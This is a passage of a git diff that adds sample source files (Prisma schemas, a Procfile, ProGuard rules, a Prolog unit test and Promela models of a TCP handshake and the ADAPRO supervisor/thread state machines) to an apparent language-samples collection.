+  id            String   @default(cuid()) @id @unique
+  createdAt     DateTime @default(now())
+  updatedAt     DateTime @updatedAt
+  released      Boolean
+  title         String
+  description   String?
+  mainCharacter Hero?
+}
\ No newline at end of file
diff --git a/samples/Prisma/now-example-schema.prisma b/samples/Prisma/now-example-schema.prisma
new file mode 100644
index 0000000000..b874269466
--- /dev/null
+++ b/samples/Prisma/now-example-schema.prisma
@@ -0,0 +1,121 @@
+datasource db {
+  provider = "mysql"
+  url      = "mysql://prisma:localhost:3306/strapi"
+}
+
+generator photon {
+  provider = "photonjs"
+}
+
+model CoreStore {
+  id          Int     @id
+  environment String?
+  key         String?
+  tag         String?
+  type        String?
+  value       String?
+
+  @@map("core_store")
+}
+
+model Migration {
+  revision          Int       @id
+  applied           Int
+  databaseMigration String    @map("database_migration")
+  datamodel         String
+  datamodelSteps    String    @map("datamodel_steps")
+  errors            String
+  finishedAt        DateTime? @map("finished_at")
+  name              String
+  rolledBack        Int       @map("rolled_back")
+  startedAt         DateTime  @map("started_at")
+  status            String
+
+  @@map("_Migration")
+}
+
+model Post {
+  id        Int       @id
+  content   String?
+  createdAt DateTime? @map("created_at")
+  reads     Int
+  title     String
+  updatedAt DateTime? @map("updated_at")
+
+  @@map("posts")
+}
+
+model StrapiAdministrator {
+  id                 Int      @id
+  blocked            Boolean?
+  email              String
+  password           String
+  resetPasswordToken String?
+  username           String
+
+  @@map("strapi_administrator")
+}
+
+model UploadFile {
+  id        Int       @id
+  createdAt DateTime? @map("created_at")
+  ext       String?
+  hash      String
+  mime      String
+  name      String
+  provider  String
+  publicId  String?   @map("public_id")
+  sha256    String?
+  size      String
+  updatedAt DateTime? @map("updated_at")
+  url       String
+
+  @@map("upload_file")
+}
+
+model UploadFileMorph {
+  id           Int     @id
+  field        String?
+  relatedId    Int?    @map("related_id")
+  relatedType  String? @map("related_type")
+  uploadFileId Int?    @map("upload_file_id")
+
+  @@map("upload_file_morph")
+}
+
+model UsersPermissionsPermission {
+  id         Int     @id
+  action     String
+  controller String
+  enabled    Boolean
+  policy     String?
+  role       Int?
+  type       String
+
+  @@map("users-permissions_permission")
+}
+
+model UsersPermissionsRole {
+  id          Int     @id
+  description String?
+  name        String
+  type        String?
+
+  @@map("users-permissions_role")
+}
+
+model UsersPermissionsUser {
+  id                 Int       @id
+  blocked            Boolean?
+  confirmed          Boolean?
+  createdAt          DateTime? @map("created_at")
+  email              String
+  password           String?
+  provider           String?
+  resetPasswordToken String?
+  role               Int?
+  updatedAt          DateTime? @map("updated_at")
+  username           String
+
+  @@map("users-permissions_user")
+}
\ No newline at end of file
diff --git a/samples/Prisma/schema.prisma b/samples/Prisma/schema.prisma
new file mode 100644
index 0000000000..545c490a9e
--- /dev/null
+++ b/samples/Prisma/schema.prisma
@@ -0,0 +1,33 @@
+datasource db {
+  provider = "sqlite"
+  url      = "file:dev.db"
+  default  = true
+}
+
+generator photon {
+  provider = "photonjs"
+}
+
+generator nexus_prisma {
+  provider = "nexus-prisma"
+  output   = "node_modules/@generated/nexus-prisma"
+}
+
+model Post {
+  id        String   @default(cuid()) @id @unique
+  createdAt DateTime @default(now())
+  updatedAt DateTime @updatedAt
+  published Boolean
+  title     String
+  content   String?
+  author    User?
+}
+
+
+model User {
+  id       String  @default(cuid()) @id @unique
+  email    String  @unique
+  password String
+  name     String?
+  posts    Post[]
+}
\ No newline at end of file
diff --git a/samples/Procfile/filenames/Procfile b/samples/Procfile/filenames/Procfile
new file mode 100644
index 0000000000..9f0e14ac36
--- /dev/null
+++ b/samples/Procfile/filenames/Procfile
@@ -0,0 +1,5 @@
+web: bundle exec puma -C config/puma.rb
+worker: bundle exec ruby script/worker.rb
+cron: bundle exec rake postal:cron
+smtp: bundle exec rake postal:smtp_server
+requeuer: bundle exec rake postal:requeuer
diff --git a/samples/Proguard/proguard-rules.pro b/samples/Proguard/proguard-rules.pro
new file mode 100644
index 0000000000..c40fbefe37
--- /dev/null
+++ b/samples/Proguard/proguard-rules.pro
@@ -0,0 +1,42 @@
+# Proguard 2018-4-18 16:28:00
+
+-basedirectory proguard-pro
+
+-include proguard-normal.pro
+-include proguard-support-design.pro
+-include proguard-support-v7-appcompat.pro
+-include proguard-support-v7-cardview.pro
+
+-include proguard-google.pro
+-include proguard-google-gson2.pro
+-include proguard-google-protobuf.pro
+
+-include proguard-butterknife-7.pro
+-include proguard-eventbus-3.pro
+-include proguard-gson.pro
+
+-include proguard-alipay.pro
+-include proguard-baidu-map.pro
+-include proguard-bugtags.pro
+-include proguard-jpush.pro
+-include proguard-mob.pro
+-include proguard-pingplus.pro
+-include proguard-umeng.pro
+-include proguard-wechat.pro
+
+-include proguard-android-gif-drawable.pro
+-include proguard-androidannotations.pro
+-include proguard-glide.pro
+-include proguard-greendao.pro
+-include proguard-jsoup.pro
+-include proguard-matisse.pro
+-include proguard-tencent-webview.pro
+
+-include proguard-rx-java.pro
+-include proguard-square-okhttp.pro
+-include proguard-square-okhttp3.pro
+-include proguard-square-okio.pro
+-include proguard-square-picasso.pro
+
+-include proguard-facebook-stetho.pro
+-include proguard-leakcanary.pro
diff --git a/samples/Proguard/proguard-rules2.pro b/samples/Proguard/proguard-rules2.pro
new file mode 100644
index 0000000000..fc5276a2ea
--- /dev/null
+++ b/samples/Proguard/proguard-rules2.pro
@@ -0,0 +1,105 @@
+# Add project specific ProGuard rules here.
+# By default, the flags in this file are appended to flags specified
+# in /usr/local/android/android-sdk-linux/tools/proguard/proguard-android.txt
+# You can edit the include path and order by changing the proguardFiles
+# directive in build.gradle.
+#
+# For more details, see
+#   http://developer.android.com/guide/developing/tools/proguard.html
+
+# Add any project specific keep options here:
+
+
+##---------------Begin: ProGuard configuration for Android Architecture Components ----------
+
+# IMPORTANT: There are no proper ProGuard rules for Android Architecture Components yet.
+# We are just keeping everything for now but this needs to be revised.
+
+-keep class android.arch.** { *; }
+
+##---------------End: ProGuard configuration for Android Architecture Components ------------
+
+
+##---------------Begin: ProGuard configuration for Dagger ----------
+
+# Based on https://github.com/google/dagger/issues/645
+
+-dontwarn com.google.errorprone.annotations.**
+
+##---------------End: ProGuard configuration for Dagger ------------
+
+
+##---------------Begin: ProGuard configuration for Glide ----------
+
+# Based on https://github.com/bumptech/glide#proguard
+
+-keep public class * implements com.bumptech.glide.module.GlideModule
+-keep public enum com.bumptech.glide.load.resource.bitmap.ImageHeaderParser$** {
+  **[] $VALUES;
+  public *;
+}
+
+##---------------End: ProGuard configuration for Glide ------------
+
+
+##---------------Begin: ProGuard configuration for Moshi ----------
+
+# Based on https://github.com/square/moshi#proguard
+
+-dontwarn okio.**
+-dontwarn javax.annotation.Nullable
+-dontwarn javax.annotation.ParametersAreNonnullByDefault
+
+##---------------End: ProGuard configuration for Moshi ------------
+
+
+##---------------Begin: ProGuard configuration for OkHttp ----------
+
+# Based on https://github.com/square/okhttp#proguard
+
+-dontwarn okio.**
+-dontwarn javax.annotation.Nullable
+-dontwarn javax.annotation.ParametersAreNonnullByDefault
+
+##---------------End: ProGuard configuration for OkHttp ------------
+
+
+##---------------Begin: ProGuard configuration for Okio ----------
+
+# Based on https://github.com/square/okio#proguard
+
+-dontwarn okio.**
+
+##---------------End: ProGuard configuration for Okio ------------
+
+
+##---------------Begin: ProGuard configuration for Retrofit ----------
+
+# Based on http://square.github.io/retrofit/
+
+# Platform calls Class.forName on types which do not exist on Android to determine platform.
+-dontnote retrofit2.Platform
+# Platform used when running on Java 8 VMs. Will not be used at runtime.
+-dontwarn retrofit2.Platform$Java8
+# Retain generic type information for use by reflection by converters and adapters.
+-keepattributes Signature
+# Retain declared checked exceptions for use by a Proxy instance.
+-keepattributes Exceptions
+
+##---------------End: ProGuard configuration for Retrofit ------------
+
+
+# If your project uses WebView with JS, uncomment the following
+# and specify the fully qualified class name to the JavaScript interface
+# class:
+#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
+#   public *;
+#}
+
+# Uncomment this to preserve the line number information for
+# debugging stack traces.
+-keepattributes SourceFile,LineNumberTable
+
+# If you keep the line number information, uncomment this to
+# hide the original source file name.
+-renamesourcefileattribute SourceFile
diff --git a/samples/Proguard/proguard_annotations.pro b/samples/Proguard/proguard_annotations.pro
new file mode 100644
index 0000000000..f9d4677e29
--- /dev/null
+++ b/samples/Proguard/proguard_annotations.pro
@@ -0,0 +1,20 @@
+# Copyright (c) Facebook, Inc. and its affiliates.
+#
+# This source code is licensed under the MIT license found in the
+# LICENSE file in the root directory of this source tree.
+
+# Keep our interfaces so they can be used by other ProGuard rules.
+# See http://sourceforge.net/p/proguard/bugs/466/
+-keep,allowobfuscation @interface com.facebook.proguard.annotations.DoNotStrip
+-keep,allowobfuscation @interface com.facebook.proguard.annotations.KeepGettersAndSetters
+
+# Do not strip any method/class that is annotated with @DoNotStrip
+-keep @com.facebook.proguard.annotations.DoNotStrip class *
+-keepclassmembers class * {
+    @com.facebook.proguard.annotations.DoNotStrip *;
+}
+
+-keepclassmembers @com.facebook.proguard.annotations.KeepGettersAndSetters class * {
+  void set*(***);
+  *** get*();
+}
diff --git a/samples/Prolog/plunit_test_example.plt b/samples/Prolog/plunit_test_example.plt
new file mode 100644
index 0000000000..08ecebc061
--- /dev/null
+++ b/samples/Prolog/plunit_test_example.plt
@@ -0,0 +1,11 @@
+:- use_module(library(plunit)).
+
+:- begin_tests(plunit_test_example).
+
+test(true_succeeds) :-
+  true.
+
+test(fail_fails, [fail]) :-
+  fail.  % Interchangeable with false/0.
+
+:- end_tests(plunit_test_example).
diff --git a/samples/Promela/Session.pml b/samples/Promela/Session.pml
new file mode 100644
index 0000000000..5d4029e5be
--- /dev/null
+++ b/samples/Promela/Session.pml
@@ -0,0 +1,44 @@
+#include "Supervisor.pml"
+/* Supervisor.pml includes Thread.pml (which includes Invariants.prp) */
+
+init
+{
+    byte i = 0;
+    assert_all(i, 0, 0);
+    sv_ctor(i);
+    i = 0;
+    assert_all(i, READY, CONTINUE);
+    printf("Init starts Supervisor...\n");
+    sv_start_sync();
+    do
+    ::  if
+        ::  get_state(0) == RUNNING ->
+                printf("Init pauses Supervisor...\n");
+                if
+                ::  true -> pause(0, true)
+                ::  true -> pause(0, false)
+                fi
+        ::  get_state(0) == PAUSED  ->
+                printf("Init resumes Supervisor...\n");
+                if
+                ::  true -> resume(0, true)
+                ::  true -> resume(0, false)
+                fi
+        ::  true -> skip
+        fi
+    ::  break
+    od
+    if
+    ::  printf("Init stops Supervisor...\n");
+        if
+        ::  true -> stop(0, true)
+        ::  true -> stop(0, false)
+        fi
+    ::  true -> skip
+    fi
+    wait_for_HALT_mask(0);
+    i = 0;
+    sv_dtor(i);
+    i = 0;
+    assert_all(i, 0, 0)
+}
diff --git a/samples/Promela/Supervisor.pml b/samples/Promela/Supervisor.pml
new file mode 100644
index 0000000000..24cb127e0a
--- /dev/null
+++ b/samples/Promela/Supervisor.pml
@@ -0,0 +1,347 @@
+#include "./Thread.pml"
+
+/**
+ * Supervisor propagates commands in serial mode if and only if this variable is
+ * set to true. As of ADAPRO 5.0.0, Supervisor keeps querying a configuration
+ * parameter corresponding with this condition during runtime.
+ */
+bool serialize_commands;
+
+/**
+ * Should be true if and only if all Workers have entered the state STOPPED.
+ * This is a private field of Supervisor, but modeled as a global variable to
+ * enable more precise simulation of constructors.
+ */
+bool all_workers_stopped;
+
+/**
+ * Should be true if and only if one or more Workers have entered the state
+ * ABORTED. This is a private field of Supervisor, but modeled as a global
+ * variable to enable more precise simulation of constructors.
+ */
+bool exists_aborted_worker;
+
+/**
+ * Supervisor sets this true when calling its transition callback on CONTINUE
+ * for the first time. This is used for the mechanism that prevents Supervisor
+ * for propagating the CONTINUE command when starting. Doing so would prevent
+ * Workers from starting in the state PAUSED. This is a private field of
+ * Supervisor, but modeled as a global variable to enable more precise
+ * simulation of constructors.
+ */
+bool supervisor_started;
+
+/**
+ * Asserts that all the threads from k to N are in the given state with the
+ * given command. Mutates the value of k, leaving it 0 at the end.
+ */
+inline assert_all(k, state, command)
+{
+    d_step
+    {
+        do
+        ::  k < N   ->
+                assert(get_state(k)     == state);
+                assert(get_command(k)   == command);
+                k++
+        ::  else    ->
+                break
+        od
+        k = 0
+    }
+}
+
+/** Sends the given command to Worker number j. Waits iff wait == true. */
+inline send_command(j, command, wait)
+{
+    if
+    ::  command == START                    ->
+            start(j, wait)
+    ::  command == PAUSE                    ->
+            pause(j, wait)
+    ::  command == CONTINUE                 ->
+            resume(j, wait)
+    ::  command == STOP || command == ABORT ->
+            stop(j, wait)
+    fi
+}
+
+/**
+ * Propagates the given command in covariant order, i.e. by iterating through
+ * Workers in increasing order. Blocks if and only if wait is true.
+ */
+inline covariant_propagation(command, wait)
+{
+    do
+    ::  j < N   ->
+            send_command(j, command, wait);
+            j++
+    ::  else    ->
+            j = 1;
+            break
+    od
+}
+
+/**
+ * Propagates the given command in contravariant order, i.e. by iterating
+ * through Workers in decreasing order.
+ */
+inline contravariant_propagation(command)
+{
+    j = N - 1;
+    do
+    ::  j > 0   ->
+            send_command(j, command, true);
+            j--
+    ::  else    ->
+            j = 1;
+            break
+    od
+}
+
+/**
+ * Propagates the given command to all Workers, using the command propagate mode
+ * determined by the value of the global variable serialize_commands.
+ */
+inline propagate_command(command)
+{
+    if
+    ::  command == CONTINUE && !supervisor_started ->
+            printf("Supervisor doesn't propagate the first CONTINUE command.\n");
+            supervisor_started = true
+    ::  else ->
+            if
+            ::  serialize_commands  -> propagate_command_in_lifo(command)
+            ::  else                -> propagate_command_in_parallel(command)
+            fi
+    fi
+}
+
+/**
+  * Sends the given command to all Workers using serial command propagation
+  * mode. This means sending every command in the blocking way.
+  */
+inline propagate_command_in_lifo(command)
+{
+    if
+    ::  command == START || command == PAUSED   ->
+            covariant_propagation(command, true)
+    ::  else                                    ->
+            contravariant_propagation(command)
+    fi
+}
+
+/**
+  * Sends the given command to all Workers using parallel command propagation
+  * mode. This means sending commands asynchronously first to every Worker, and
+  * then waiting for them move to an appropriate state.
+  */
+inline propagate_command_in_parallel(command)
+{
+    printf("Supervisor propagating command %e...\n", command);
+    covariant_propagation(command, false);
+    do
+    ::  j < N  ->
+            if
+            ::  command == START    -> wait_for_START_mask(j)
+            ::  command == CONTINUE -> wait_for_RESUME_mask(j)
+            ::  command == PAUSE    -> wait_for_PAUSE_mask(j)
+            ::  command == STOP     -> wait_for_HALT_mask(j)
+            fi
+            j++
+    ::  else   ->
+            j = 1;
+            break
+    od
+}
+
+/**
+ * Checks whether of not there all Workers have moved to the state STOPPED or if
+ * there exists a worker in state ABORTED and sets the appropriate booleans.
+ */
+inline check_worker_states()
+{
+    all_workers_stopped = true;
+    do
+    ::  j < N   ->
+            all_workers_stopped     =
+                all_workers_stopped && get_state(j) == STOPPED;
+            exists_aborted_worker   =
+                exists_aborted_worker || get_state(j) == ABORTED;
+            j++
+    ::  else    ->
+            j = 1;
+            break
+    od
+}
+
+inline sv_start_sync()
+{
+    set_command(0, START);
+    run Supervisor();
+    wait_for_START_mask(0);
+}
+
+/**
+ * Models the method ADAPRO::Control::Supervisor::prepare.
+ */
+inline sv_prepare()
+{
+    propagate_command(START);
+}
+
+/**
+ * Models the method ADAPRO::Control::Supervisor::execute.
+ */
+inline sv_execute()
+{
+    executing[0] = true;
+    check_worker_states();
+    if
+    ::  all_workers_stopped     ->
+            printf("Supervisor will stop because all Workers have stopped...\n");
+            stop(0, false)
+    ::  exists_aborted_worker   ->
+            printf("Supervisor will stop because some Workers have aborted...\n");
+            stop(0, false)
+    ::  else                    ->
+            skip
+    fi
+    executing[0] = false
+}
+
+/** Models the transition callback of ADAPRO::Control::Supervisor. */
+inline sv_trans_cb(s)
+{
+    if
+    ::  s == RUNNING                    ->
+            propagate_command(CONTINUE)
+    ::  s == PAUSED                     ->
+            propagate_command(PAUSE)
+    ::  s == ABORTING || s == STOPPING  ->
+            propagate_command(STOP)
+    ::  else                            ->
+            skip
+    fi
+}
+
+inline sv_covariant_transition(state, command, next)
+{
+    print_state_transition(0, state, command, next);
+    set_state(0, next);
+    sv_trans_cb(next)
+}
+
+inline sv_contravariant_transition(state, command, next)
+{
+    sv_trans_cb(next);
+    print_state_transition(0, state, command, next);
+    set_state(0, next)
+}
+
+/**
+ * Models the constructor of Supervisor, which first sets its own state and
+ * command and then calls the Worker constructors.
+ */
+inline sv_ctor(i)
+{
+    d_step
+    {
+        if
+        :: true -> serialize_commands = true
+        :: true -> serialize_commands = false
+        fi
+        all_workers_stopped     = false;
+        exists_aborted_worker   = false;
+        supervisor_started      = false;
+        do
+        ::  i < N   ->
+                ctor(i);
+                i++
+        ::  else    ->
+                break
+        od
+    }
+}
+
+/**
+ * Models the destructor of Supervisor.
+ */
+inline sv_dtor(i)
+{
+    d_step
+    {
+        do
+        ::  i < N   ->
+                dtor(i);
+                i++
+        ::  else    ->
+                break
+        od
+    }
+}
+
+/** Models the ADAPRO Supervisor Thread. */
+proctype Supervisor()
+{
+    /**
+     * The variable j is a local index variable that Supervisor uses for
+     * iterating over Workers. Supervisor itself is the Thread number 0, so
+     * this variable needs to always stay in the open interval ]0,N[.
+     */
+    byte j = 1;
+
+    /* Startup: */
+    get_command(0) == START;
+    sv_covariant_transition(READY, START, STARTING);
+    set_command(0, CONTINUE);
+    sv_prepare();
+
+    /* Execution: */
+    do
+    ::  get_command(0) == CONTINUE                          ->
+            assert(get_state(0) == STARTING || get_state(0) == RUNNING ||
+                get_state(0) == PAUSED);
+            if
+            ::  get_state(0) == STARTING    ->
+                    sv_covariant_transition(STARTING, CONTINUE, RUNNING)
+            ::  get_state(0) == PAUSED      ->
+                    sv_covariant_transition(PAUSED, CONTINUE, RUNNING)
+            ::  else                        ->
+                    skip
+            fi
+            sv_execute()
+    ::  get_command(0) == PAUSE                             ->
+            if
+            ::  get_state(0) == PAUSED      ->
+                    get_command(0) != PAUSED
+            ::  else                        ->
+                    assert(get_state(0) == STARTING || get_state(0) == RUNNING ||
+                        get_state(0) == STARTING);
+                    if
+                    ::  get_state(0) == STARTING || get_state(0) == RUNNING ->
+                            sv_contravariant_transition(RUNNING, PAUSE, PAUSED)
+                    ::  else                                                ->
+                            skip
+                    fi
+            fi
+    ::  get_command(0) == STOP || get_command(0) == ABORT   ->
+            break
+    od
+
+    /* Shutdown: */
+    if
+    ::  get_command(0) == STOP      ->
+            assert(get_state(0) == STARTING || get_state(0) == RUNNING ||
+                get_state(0) == PAUSED);
+            sv_covariant_transition(get_state(0), STOP, STOPPING);
+            sv_contravariant_transition(STOPPING, STOP, STOPPED)
+    ::  get_command(0) == ABORT     ->
+            assert(get_state(0) == STARTING || get_state(0) == RUNNING ||
+                get_state(0) == STOPPING);
+            sv_covariant_transition(get_state(0), ABORT, ABORTING);
+            sv_contravariant_transition(ABORTING, ABORT, ABORTED)
+    ::  else                        ->
+            assert(false)
+    fi
+}
diff --git a/samples/Promela/TCP.pml b/samples/Promela/TCP.pml
new file mode 100644
index 0000000000..d763f5927a
--- /dev/null
+++ b/samples/Promela/TCP.pml
@@ -0,0 +1,103 @@
+mtype = { SYN, FIN, ACK, SYN_ACK }
+
+chan AtoN = [1] of { mtype };
+chan NtoA = [1] of { mtype };
+chan BtoN = [1] of { mtype };
+chan NtoB = [1] of { mtype };
+
+int state[2];
+int pids[2];
+
+#define ClosedState    0
+#define ListenState    1
+#define SynSentState   2
+#define SynRecState    3
+#define EstState       4
+#define FinW1State     5
+#define CloseWaitState 6
+#define FinW2State     7
+#define ClosingState   8
+#define LastAckState   9
+#define TimeWaitState  10
+#define EndState       -1
+
+#define leftConnecting (state[0] == ListenState && state[1] == SynSentState)
+#define leftEstablished (state[0] == EstState)
+#define rightEstablished (state[1] == EstState)
+#define leftClosed (state[0] == ClosedState)
+
+proctype TCP(chan snd, rcv; int i) {
+	pids[i] = _pid;
+CLOSED:
+	state[i] = ListenState;
+	if
+	/* Passive open */
+	:: goto LISTEN;
+	/* Active open */
+	:: snd ! SYN; goto SYN_SENT;
+	/* Terminate */
+	:: goto end;
+	fi
+LISTEN:
+	state[i] = ListenState;
+	if
+	:: rcv ? SYN -> snd ! SYN_ACK; goto SYN_RECEIVED;
+	/* Simultaneous LISTEN */
+	:: timeout -> goto CLOSED; 
+	/* recently added the 'timout.' - Max */
+	fi
+SYN_SENT:
+	state[i] = SynSentState;
+	if
+	/* Simultaneous open */
+	:: rcv ? SYN -> snd ! ACK; goto SYN_RECEIVED;
+	/* Standard behavior */
+	:: rcv ? SYN_ACK -> snd ! ACK; goto ESTABLISHED;
+	/* Timeout */
+	:: timeout -> goto CLOSED;
+	fi
+SYN_RECEIVED:
+	state[i] = SynRecState;
+	rcv ? ACK; goto ESTABLISHED;
+	/* We may want to consider putting a timeout -> CLOSED here. */
+ESTABLISHED:
+	state[i] = EstState;
+	if
+	/* Close - initiator sequence */
+	:: snd ! FIN; goto FIN_WAIT_1;
+	/* Close - responder sequence */
+	:: rcv ? FIN -> snd ! ACK; goto CLOSE_WAIT;
+	fi
+FIN_WAIT_1:
+	state[i] = FinW1State;
+	if
+	/* Simultaneous close */
+	:: rcv ? FIN -> snd ! ACK; goto CLOSING;
+	/* Standard close */
+	:: rcv ? ACK -> goto FIN_WAIT_2;
+	fi
+CLOSE_WAIT:
+	state[i] = CloseWaitState;
+	snd ! FIN; goto LAST_ACK;
+FIN_WAIT_2:
+	state[i] = FinW2State;
+	rcv ? FIN -> snd ! ACK; goto TIME_WAIT;
+CLOSING:
+	state[i] = ClosingState;
+	rcv ? ACK -> goto TIME_WAIT;
+LAST_ACK:
+	state[i] = LastAckState;
+	rcv ? ACK -> goto CLOSED;
+TIME_WAIT:
+	state[i] = TimeWaitState;
+	goto CLOSED;
+end:
+	state[i] = EndState;
+}
+
+init {
+	state[0] = ClosedState;
+	state[1] = ClosedState;
+	run TCP(AtoN, NtoA, 0);
+	run TCP(BtoN, NtoB, 1);
+}
\ No newline at end of file
diff --git a/samples/Promela/Thread.pml b/samples/Promela/Thread.pml
new file mode 100644
index 0000000000..453936a9a3
--- /dev/null
+++ b/samples/Promela/Thread.pml
@@ -0,0 +1,401 @@
+#include "./Theory.prp"
+/* TODO: Rename Thread to Worker, as Supervisor has its own Promela file. */
+
+/** The number of Threads, including Supervisor as Thread no. 0, to simulate. */
+#define N 3
+
+/**
+ * The numerical values of the states are:
+ *     ABORTED     = 1,
+ *     ABORTING    = 2,
+ *     STOPPED     = 3,
+ *     STOPPING    = 4,
+ *     PAUSED      = 5,
+ *     RUNNING     = 6,
+ *     STARTING    = 7,
+ *     READY       = 8
+ */
+mtype = {READY, STARTING, RUNNING, PAUSED, STOPPING, STOPPED, ABORTING, ABORTED};
+
+/**
+ * The numerical values of the commands are:
+ *     ABORT       = 9,
+ *     STOP        = 10,
+ *     PAUSE       = 11,
+ *     CONTINUE    = 12,
+ *     START       = 13
+ */
+mtype = {START, CONTINUE, PAUSE, STOP, ABORT};
+
+/**
+ * It seems that mtype declarations have "big endian" ordering, which I find
+ * counterintuitive. Hence, this definition:
+ */
+#define LT(x, y) x > y
+
+/**
+ * Prettyprints the state transition for Thread number i. For automatic state
+ * transitions, the command should be set to 0, in which case an underscore
+ * ('_') will be printed instead of a command name.
+ */
+inline print_state_transition(i, state, command, next)
+{
+    if
+    ::  i == 0  && command == 0 ->
+            printf("Supervisor: (%e, _) -> %e\n", state, next)
+    ::  i == 0  && command > 0  ->
+            printf("Supervisor: (%e, %e) -> %e\n", state, command, next)
+    ::  i > 0   && command == 0 ->
+            printf("Worker %d: (%e, _) -> %e\n", i, state, next)
+    ::  i > 0   && command > 0 ->
+            printf("Worker %d: (%e, %e) -> %e\n", i, state, command, next)
+    fi
+}
+
+/********************************** PRIVATE ***********************************/
+
+/** States of the Threads. Index 0 is reserved for the Supervisor. */
+mtype states[N];
+
+/** Commands of the Threads. Index 0 is reserved for the Supervisor. */
+mtype commands[N];
+
+/** The array of Threads currently executing. */
+bool executing[N];
+
+/** See the documentation for ADAPRO::Control::Thread::set_state. */
+#define set_state(i, state) states[i] = state
+
+/** See the documentation for ADAPRO::Control::Thread::set_command. */
+#define set_command(i, command)                                                \
+    atomic                                                                     \
+    {                                                                          \
+        if                                                                     \
+        ::  command == START && commands[i] == CONTINUE ->                     \
+                assert(get_state(i) == READY);                                 \
+                commands[i] = START                                            \
+        ::  command == PAUSE && commands[i] == CONTINUE ->                     \
+                assert(get_state(i) == STARTING || get_state(i) == RUNNING);   \
+                commands[i] = PAUSE                                            \
+        ::  command == CONTINUE &&                                             \
+            (commands[i] == START || commands[i] == PAUSE) ->                  \
+                assert(get_state(i) == STARTING || get_state(i) == PAUSED);    \
+                commands[i] = CONTINUE                                         \
+        ::  command == STOP &&                                                 \
+            (commands[i] == CONTINUE || commands[i] == PAUSE) ->               \
+                assert(get_state(i) == STARTING || get_state(i) == RUNNING ||  \
+                        get_state(i) == PAUSED);                               \
+                commands[i] = STOP                                             \
+        ::  command == ABORT ->                                                \
+                assert(get_state(i) != READY);                                 \
+                commands[i] = ABORT                                            \
+        ::  else -> printf("Thread %d ignores command %e.\n", i, commands[i])  \
+        fi                                                                     \
+    }
+
+/********************************** PUBLIC ************************************/
+
+/** See the documentation for ADAPRO::Control::Thread::get_state. */
+#define get_state(i) states[i]
+
+/** See the documentation for ADAPRO::Control::Thread::get_command. */
+#define get_command(i) commands[i]
+
+/********************************* PROTECTED **********************************/
+
+/**
+ * Models the method ADAPRO::Control::Thread::prepare by non-deterministically
+ * choosing between aborting, pausing, and doing nothing.
+ */
+inline prepare(i)
+{
+    if
+    :: true -> abort(i)
+    :: true -> set_command(i, PAUSE)
+    :: true -> set_command(i, STOP)
+    :: true -> skip
+    fi
+}
+
+/**
+ * Models the method ADAPRO::Control::Thread::execute by non-deterministically
+ * choosing between aborting, pausing, stopping, and doing nothing.
+ */
+inline execute(i)
+{
+    executing[i] = true;
+    if
+    :: true -> abort(i)
+    /* :: true -> set_command(i, PAUSE) */
+    :: true -> set_command(i, STOP)
+    :: true -> skip
+    fi
+    executing[i] = false
+}
+
+/**
+ * Models the method ADAPRO::Control::Thread::finish by non-deterministically
+ * choosing between aborting and doing nothing.
+ */
+inline finish(i)
+{
+    if
+    :: true -> abort(i)
+    :: true -> skip
+    fi
+}
+
+/** Aborts the Thread number i. Always non-blocking. */
+inline abort(i)
+{
+    assert(_pid != 1);      /* Supervisor is not allowed to abort Workers. */
+    set_command(i, ABORT);
+}
+
+/********************************** PRIVATE ***********************************/
+
+/**
+ * Simulates the Thread class constructor by initializing the state and
+ * commmand of thread number i Thread with their legal default values.
+ */
+inline ctor(i)
+{
+    d_step
+    {
+        states[i]   = READY;
+        commands[i] = CONTINUE
+    }
+}
+
+inline dtor(i)
+{
+    d_step
+    {
+        states[i]   = 0;
+        commands[i] = 0;
+        executing[i]= false
+    }
+}
+
+/** Models the default transition callback of a Thread that does nothing. */
+inline trans_cb(s)
+{
+    skip
+}
+
+inline covariant_transition(state, command, next)
+{
+    print_state_transition(k, state, command, next);
+    set_state(k, next);
+    /*trans_cb(next)*/
+}
+
+inline contravariant_transition(state, command, next)
+{
+    /*trans_cb(next);*/
+    print_state_transition(k, state, command, next);
+    set_state(k, next)
+}
+
+/** Models the ADAPRO::Control::Thread::run method. */
+proctype Thread(byte k)
+{
+    /* Startup: */
+    get_command(k) == START;
+    covariant_transition(READY, START, STARTING);
+    set_command(k, CONTINUE);
+    prepare(k);
+
+    /* Execution: */
+    do
+    ::  get_command(k) == CONTINUE                          ->
+            assert(get_state(k) == STARTING || get_state(k) == RUNNING ||
+                get_state(k) == PAUSED);
+            if
+            ::  get_state(k) == STARTING    ->
+                    covariant_transition(STARTING, CONTINUE, RUNNING)
+            ::  get_state(k) == PAUSED      ->
+                    covariant_transition(PAUSED, CONTINUE, RUNNING)
+            ::  else                        ->
+                    skip
+            fi
+            execute(k)
+    ::  get_command(k) == PAUSE                             ->
+            if
+            ::  get_state(k) == PAUSED  ->
+                    get_command(k) != PAUSED
+            ::  else                    ->
+                    assert(get_state(k) == STARTING || get_state(k) == RUNNING ||
+                        get_state(k) == STARTING);
+                    if
+                    ::  get_state(k) == STARTING || get_state(k) == RUNNING ->
+                            contravariant_transition(RUNNING, PAUSE, PAUSED)
+                    ::  else                    ->
+                            skip
+                    fi
+            fi
+    ::  get_command(k) == STOP || get_command(k) == ABORT   ->
+            break
+    od
+
+    /* Shutdown: */
+    if
+    ::  get_command(k) == STOP      ->
+            assert(get_state(k) == STARTING || get_state(k) == RUNNING ||
+                get_state(k) == PAUSED);
+            covariant_transition(get_state(k), STOP, STOPPING);
+            finish(k);
+            contravariant_transition(STOPPING, STOP, STOPPED)
+    ::  get_command(k) == ABORT     ->
+            assert(get_state(k) == STARTING || get_state(k) == RUNNING ||
+                get_state(k) == STOPPING);
+            covariant_transition(get_state(k), ABORT, ABORTING);
+            contravariant_transition(ABORTING, ABORT, ABORTED)
+    ::  else                        ->
+            assert(false)
+    fi
+}
+
+/********************************** PUBLIC ************************************/
+
+/** Models Control::Thread::wait_for_state_mask(Data::State::START_MASK). */
+inline wait_for_START_mask(i)
+{
+    if
+    ::  _pid == 0   ->
+            printf("Init is waiting for START mask on Thread %d...\n", i)
+    ::  _pid == 1   ->
+            printf("Supervisor is waiting for START mask on Thread %d...\n", i)
+    ::  _pid > 1    ->
+            printf("Worker %d is waiting for START mask on Thread %d...\n", _pid - 1, i)
+    fi
+    get_state(i) == RUNNING     ||
+    get_state(i) == PAUSED      ||
+    get_state(i) == STOPPING    ||
+    get_state(i) == STOPPED     ||
+    get_state(i) == ABORTING    ||
+    get_state(i) == ABORTED;
+    printf("Waiting ended.\n")
+}
+
+/** Models Control::Thread::wait_for_state_mask(Data::State::PAUSE_MASK). */
+inline wait_for_PAUSE_mask(i)
+{
+    if
